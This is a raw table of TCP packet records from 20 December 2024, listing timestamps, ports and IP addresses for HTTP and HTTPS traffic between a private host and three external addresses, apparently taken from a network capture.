Dec 20, 2024 11:12:41.503556013 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.504338026 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.504513025 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.504575014 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.505166054 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.505340099 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.505398035 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.505445004 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.506504059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.506560087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.506622076 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.506903887 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.507545948 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.507600069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.507600069 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.507643938 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.508548975 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.508598089 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.508681059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.508728981 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.509444952 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.509490967 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.509571075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.509620905 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.510524035 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.510560036 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.510571957 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.510602951 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.511503935 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.511555910 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.511620045 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.511667967 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.512499094 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.512543917 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.512620926 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.512664080 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.513608932 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.513658047 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.513755083 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.513797045 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.514592886 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.514647961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.514730930 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.514774084 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.515604019 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.515654087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.515727043 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.515769958 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.516572952 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.516623974 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.516774893 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.516823053 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.517680883 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.517729998 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.517796993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.517841101 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.518728971 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.518778086 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.518846989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.518901110 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.519773006 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.519917965 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.519928932 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.519968987 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.520678043 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.520730972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.520772934 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.520819902 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.521771908 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.521819115 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.521850109 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.521898985 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.522735119 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.522782087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.522866011 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.522911072 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.523753881 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.523802042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.523874998 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.523922920 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.524753094 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.524801970 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.524950981 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.524995089 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.525808096 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.525852919 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.525942087 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.525993109 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.526839018 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.526891947 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.526935101 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.526977062 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.527831078 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.527879000 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.527932882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.527981043 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.528908968 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.528958082 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.528990030 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.529032946 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.529921055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.529978991 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.530004978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.530056953 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.530916929 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.530972004 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.531074047 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.531126976 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.531980991 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.532006979 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.532038927 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.532069921 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.533004999 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.533060074 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.533106089 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.533157110 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.534034967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.534096956 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.534136057 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.534188986 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.535054922 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.535111904 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.535202026 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.535254955 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.536099911 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.536160946 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.536197901 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.536251068 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.537132978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.537189007 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.537307024 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.537358046 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.538155079 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.538209915 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.538300991 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.538355112 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.539119959 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.539180040 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.539227962 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.539284945 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.540134907 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.540194988 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.540244102 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.540298939 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.541177988 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.541235924 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.541282892 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.541338921 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.542201996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.542262077 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.542309046 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.542362928 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.543204069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.543262005 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.543318033 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.543371916 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.544260979 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.544322014 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.544353962 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.544404030 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.545296907 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.545356989 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.545402050 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.545506954 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.546391964 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.546453953 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.546472073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.546521902 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.547337055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.547399044 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.547593117 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.547593117 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.548325062 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.548382998 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.548475027 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.548525095 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.549329042 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.549381971 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.549458981 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.549514055 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.550374985 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.550431967 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.550518990 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.550565958 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.551414967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.551466942 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.690015078 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.690112114 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.690143108 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.690180063 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.690593958 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.690608978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.690640926 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.690665960 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.691710949 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.691726923 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.691765070 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.691785097 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.692517996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.692569017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.824491978 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.824567080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:41.845285892 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:41.845285892 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:41.908168077 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:41.908246994 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:41.909728050 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:41.909739971 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:41.910077095 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:41.911401987 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:41.911427021 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:41.911495924 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:41.964896917 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.964910984 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.964924097 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.965056896 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.965110064 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.965131998 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.965143919 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:42.691359997 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691415071 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691447973 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691482067 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.691513062 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691548109 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691576958 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.691587925 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.691636086 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.691643953 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.699767113 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.702023983 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.702032089 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.715892076 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.715939999 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.715949059 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.769695044 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.810724020 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.863454103 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.882744074 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886471987 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886507034 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886531115 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.886553049 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886639118 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.886652946 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886681080 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886734962 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.886888027 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.886919975 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.886954069 CET	49853	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:42.886967897 CET	443	49853	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:42.907407045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:42.907488108 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.240596056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.360224009 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.502651930 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:43.502684116 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:43.502765894 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:43.503230095 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:43.503238916 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:43.677486897 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.677556038 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.677881002 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.681622982 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.681703091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.681788921 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.681886911 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.689990044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.690085888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.690124989 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.690170050 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.696389914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.696549892 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.696672916 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.704741955 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.704801083 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.704844952 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.704906940 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.713074923 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.713129044 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.713216066 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.801882029 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.801942110 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.801963091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.802062035 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.806044102 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.806143045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.806241989 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.811537981 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.811573982 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.811661005 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.819875956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.819989920 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.820060968 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.828299046 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.828402996 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.828474045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.869822025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.869852066 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.869913101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.869956970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.872112989 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.872234106 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.872288942 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.880944967 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.880980968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.881047010 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.888892889 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.889038086 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.889121056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.897263050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.897464991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.897541046 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.905781984 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.906053066 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.906124115 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.914066076 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.914170980 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.914243937 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.926235914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.926299095 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.926342964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.926593065 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.929918051 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.929985046 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.930610895 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.930660009 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.930758953 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.930799961 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.937827110 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.937971115 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.938045025 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.945169926 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.945246935 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.945297003 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.945921898 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.952893019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.952955008 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.994054079 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.994144917 CET	49846	80	192.168.2.4	185.215.113.206
